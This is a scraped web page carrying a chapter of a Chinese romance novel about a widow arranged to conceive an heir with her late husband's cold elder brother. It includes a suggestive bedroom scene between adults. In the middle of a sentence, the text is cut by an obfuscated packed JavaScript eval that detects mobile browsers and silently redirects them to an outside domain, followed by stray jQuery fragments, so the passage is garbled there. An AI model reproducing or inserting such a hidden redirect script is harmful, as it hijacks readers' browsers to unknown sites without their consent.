默认冷灰
24号文字
方正启体

12. 难容

作者:迎婵本书字数:K更新时间:
    田岁禾犹如被他强行塞了一个大大的烫手山芋。


    “不成……”她怯怯地想抽回手,可那位哑巴公子却按住她的手不放,摆明了要让她来牵这个头。


    从前阿郎就不会让她操心,更不会按住她手不松。


    兔子急了也是会咬人的,田岁禾由羞转恼。她硬着头皮,隔着薄薄绸缎,照着林嬷嬷说的揉面一样的手法,把他当出气包搓来捏去。


    她的手小,刚足够包着。瞧着纤细,可拿刻刀的手能弱到哪呢?宋持砚下颚逐渐绷紧。


    田岁禾还以为要再忙一会,才两个呼吸,他就大不一样了。


    阿郎已经很出众了,当时把她吓了一跳,可没想到……田岁禾突然怕了,本能地要逃。


    “别动。”


    被阿郎附身的公子按住她。


    即便他刻意用气音说话,还是从语气里漏出了不容侵犯的清贵疏离,田岁禾蓦地抖了下。


    她傻了吧,怎么想到了那位冷冰冰的大公子?虽然清楚那样的人不可能答应这种事,可因为想到他,田岁禾就有他就在边上的错觉。


    她总觉得宋持砚这人是面镜子,什么都能照清。


    哪怕他不在,但因为这里是他也同住的宅子,整座宅子都弥漫着他的清正之气,无形约束着一切。


    他的存在会让她有种在和尚庙里吃肉的负罪感。


    田岁禾胡思乱想,胡思乱想,越思越乱,忘了上方的人,等到他压过来的时候才恍然回过神。


    “啊……”她又紧张地想躲,但他按住她,气息平稳。


    这提醒了田岁禾,她乖乖等着,当自己是待劈的柴。熟悉的不兼容感让她仿佛回到阿郎走前的清晨。


    但还是不同的,哪怕黑灯瞎火,她覆着眼,也无法忽略这位公子跟阿郎之间的差距。


    田岁禾又在紧张了,她一紧张事就难以推进。


    她不好受,对方好像也是。不想给他添麻烦,田岁禾让自己坠入更深的幻想,这就是和她朝夕相伴阿郎回来了,他变得更强大了,所以才会让她觉得有些不一样,但强大了也好,以后就没人敢欺负她了……


    想啊想,田岁禾双手环住他,脸颊轻蹭他肩头,试图靠近着阿郎附在他身体里的灵魂。


    陌生公子的气息一下沉了。


    从开始到现在,更过头的都做了,他的呼吸却都半分未乱,这一会田岁禾只是将脸亲昵地贴上他肩头,宋持砚气息却乱了。


    宋持砚被月光打在墙上的影子有破碎的势头。


    但他咬牙控制住了。


    他隐忍起来就跟阿郎很不一样,田岁禾辛苦捏成的幻象将将幻灭,她忙抱紧他:“阿郎!”


    她不断喊阿郎好提醒自个。


    可是她一声声无助地唤着“阿郎”后,即将凶狠的公子变得更加平稳,更不像阿郎了。


    田岁禾换了个办法,她把自己当成一个木雕人偶。没有触感,没有情绪,无法感受到他的存在。


    好像也不成,当屋里头有一只小雀、一只兔子,哪怕它们四处乱飞乱闯,她都可以装作看不见,但当一间屋子里来了一头几乎盛不下的象,即便是像乌龟一厘一厘挪动着,她也会无时无刻不去注意。


    田岁禾将自己的手塞入牙关咬着。那人细心,以为她是因为不舒服,更温和了。


    田岁禾急了:“阿郎,求你,这样温柔就不像你了……”


    他竟突然停了。


    田岁禾又催了声,为了让他凶一些,她换了个说法,“阿郎,你不快一点我一点都不快乐……”


    她声音温软,怯生生的像撒娇,实在无法忽视,她的央求宋持砚生出一股无名火,他伸手捂住她的嘴,生出肆虐的恶意,又猛地醒转。


    此事本就愧对亡故的三弟,就该没有情绪、没有触觉地做。有意让罪恶之事变得快乐,这不道德,违背他仅剩不多的底线。


    田岁禾还要央求,“唔。”


    他捂住她的嘴阻止她再出声,固执地维持着平稳。


    初春多雨,方才还是明月夜,转眼天际慢慢堆起了层层叠叠的乌云,弦月深嵌入软云中彻底消失不见了,夜色更加浓稠。


    哗啦,最终云层中下了大雨。


    林嬷嬷立在檐下,暗道这雨来得真是时候,她听了半晌,只在开始时听到娘子的惊呼,后来没动静了,但大公子也没出来。


    林嬷嬷就祈祷着这雨可以再久一点,再大点。这样大公子就出不来了,刚一这样期盼,雨停了。


    大公子推门而出。


    林嬷嬷不敢靠近,在檐下小心地打量着宋持砚,虽然待的时间比上次多了两刻钟,但跟上次一样,大公子衣裳一丝不乱,只腰际有些褶皱,冷冷清清的样子。


    那冷淡的背影消失在花影后,林嬷嬷飞也似奔到屋里。


    田娘子还是跟上次一样,呆呆地坐在榻上,身上的寝衣完好。林嬷嬷心凉了:“都待这么久了还没成哦?怕不真是个和尚!”


    木雕似的田岁禾抬了头,并了并膝盖:“嬷嬷,成、成了的。”


    林嬷嬷绝处逢生,仔细一嗅确实嗅到格格不入的气息,属于男子的。“哎哟,您吓死我了!老奴看您这样子,还当没有呢。”


    “我,我就是还没缓过来。”


    田岁禾身上虽然还很滞胀,但说话的气息平稳。


    林嬷嬷想起大公子冷峻的背影,猜是大公子行事时太沉稳,让田娘子连气息都没怎么变乱。


    也总比没成好不是么,大公子那样冷淡,要是在娘子身上失了分寸,那才古怪呢!


    *


    不曾失了自己的分寸和底线,宋持砚回去后还算冷静,唤下人备了热水仔细净身后就上榻安置。


    灯吹了,门外守着的护卫看大公子睡下了,交头接耳地私语,“大公子是去哪了?回来后竟然沐浴了整整半小时,好生古怪。”


    砰,一个茶杯破开薄薄窗纸飞了出来,护卫忙侧身闪避,警惕地奔到窗边:“大公子!是有刺客?”


    冷淡的话从窗内渗入夜色,没有人情味,让人不寒而栗。“再妄自揣测,月银减半。”


    两护卫齐齐噤声。


    对视一眼,都从对方眼里看到了一样的诧异:大公子行止稳重,从来不会发脾气,绝对是有猫腻!


    隔着窗纸,宋持砚坐在榻上,蜷起空空的手心。


    田氏脸贴在他胸口,在下方求他的时候,他不曾波动。护卫一句猜测就让他愠怒扔了茶杯。


    他不应该,也不会波动的。


    幼时他行止恣意,还不是现在的端方公子,师长多次纠正,年少的他认为君子不是通过虚无的举止体现的,一度不理解为何师长要他行止端方,只要他守住原则不就算君子了?


    师长称牵一发而动全身,一旦行止疏忽了,身上的弦也就松了。


    这些年他的礼仪行止从未乱过,旁人都道宋家公子清贵端方,但宋持砚私下并不认为风仪很重要,只将此作为盛着宝珠的玉椟,用于迷惑那些只看表象的人。


    今日才有了体会。


    起初只是一星半点的烦躁,他还可以克制,但做出了扔杯子的失态举止之后,更多、更荒唐的恶念也蠢蠢欲动,试图攻破他的底线。


    它们在诱惑他:跨出这一步并不难,事已发生,克制着做、尊重着做,跟放纵着做,肆虐着做……


    有区别么?


    百步与五十步,并无界限,真正的界限只存在于迈步之时。


    宋持砚闭上眼。


    翌日破晓,他外出督办公务,给郑氏请安都省了。


    郑氏屋里窗户洞开,清风和日光撒入,因梅雨而死气沉沉的屋子里潮湿一扫而空,溢满了安宁。


    “总算成了!”郑氏心头的巨石减半,“这种事有第一回就有第二回,最难的已经过了。”


    “是啊,夫人说得在理啊。”陈嬷嬷只总算迎来了曙光,生怕这点曙光下一刻阴了,忙不迭地认同,“哪怕第一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361860|183719||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回还拘着,后面会更好的。”


    郑氏心情大好,“唤那孩子来吧,她毕竟帮了我。”


    田岁禾被唤来郑氏这。


    外面全是虎狼,失去了阿郎的她就像小肥羊失去牧羊犬,无处可去,只能躲入郑氏这。


    她对郑氏有惧怕,也有着晚辈对庇护者的敬重。更像长工面对东家,总担心活计干不好会被扣工钱。如今总算成了,也算有了些交待。


    不过也还是忐忑的,田岁禾想着待会要怎么提起昨夜。


    要是说她全程心不在焉,没有很主动地缠上去,郑氏会不会觉得她不够用心?要是说努力了,会不会认为她不够爱阿郎?


    她忐忑了一路,可来之后郑氏说的第一句话大出所料。


    她问她:“好孩子,你叫什么?”


    和善的语气叫田岁禾起了一身鸡皮疙瘩,庆幸有衣袖遮掩才不会叫郑氏看见了去。


    突然亲切的语气已经很奇怪,突然问她名字就更怪了。


    她来这之后,郑氏一直都唤她“田氏”,田氏田氏,虽然听起来文绉绉的,比村里人常说的“狗蛋他娘”、“二栓他媳妇”是正式多了,但比起阿翁和阿郎亲切的“禾禾”、“阿姐”、“闺女”,却差了很多。


    因此“田氏”在她听来这就跟“姓田那女的”一样,很傲慢。


    如今郑氏总算不叫她“姓田那女的”了,打算叫名字,田岁禾本应该动容的,但是反而怪。


    可能她跟郑氏不够熟吧。


    心里想了乱七八糟一大通,嘴里还是乖乖地应了。


    “回夫人,我叫岁禾。”


    “岁禾,是个质朴的名字。”郑氏笑笑,在她当母亲的二十年里,她多半时候跟孩子抱怨、哭诉。还有不断的后悔、内疚、道歉,这会发现她好像不大会亲近晚辈。


    郑氏只能通过给财物表示亲近,“你来了歙县这么久,还不曾出去去逛过吧,年轻人总闷着对身子不好,正好放晴了,你跟着林嬷嬷她们一道出去逛逛吧。碰着想买、需要买的也别拘着,都记在我的账上。”


    “多谢夫人。”


    田岁禾很怕给人添麻烦,本想着安生在自己院里待着,又觉得总是闷着不出去看看外头的世界对她往后的日子不大好。


    她应该不会一直在宋家。


    *


    歙县是徽州最富庶的县城,可比他们那繁华多了,田岁禾逛地连眼睛都忙不过来了。


    林嬷嬷看田娘子就像看洞里探出头的土拔鼠,怪有趣的。


    林嬷嬷哄道:“夫人说了您将来可是小小公子的亲娘,是宋家的人,看上什么尽管买。”


    田岁禾向来知足,吃饱穿暖就够了,也没什么想要的。


    她平日也就只有一个爱好,田岁禾拉住林嬷嬷:“有没有雕刻的铺子啊,我想看看。”


    大地方工匠的雕工肯定比她要好,田岁禾听人说有用一个桃核就能雕出一艘船的能人,船上窗户的纹路、船客的眉眼都很生动。


    林嬷嬷带着她到了城里最负盛名的玉雕铺子。


    路上经过知州府,田岁禾,没留意周遭,林嬷嬷眼尖,忙朝着前方行礼:“给大公子请安!”


    “大公子”三个字像一道机关,触发田岁禾对宋持砚的畏惧,她成了个傀儡,听到这三个字后立马恭敬地大大鞠躬:“宋大人!”


    宋家虽重礼仪,但林嬷嬷也不曾这样对主子行大礼,但田岁禾如此恭敬,林嬷嬷被感染了,竟也跟着对前方的大公子大大地鞠一躬。


    恭敬过了就显滑稽,仿佛宋持砚不是大少爷,是老太爷。与他同行的同侪和下属乐得笑出声,“宋少卿治家有方啊!”


    宋持砚不语,清冷目光看向致他风评受损的罪魁祸首。


    田氏埋着头,她身量比他娇小许多,宋持砚站在府衙石阶前,只看见她盘起的云鬓。


    和一截细白脆弱的玉颈。


    纤细得禁不起半分催折,尤其昨夜因为难忍后仰之时。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)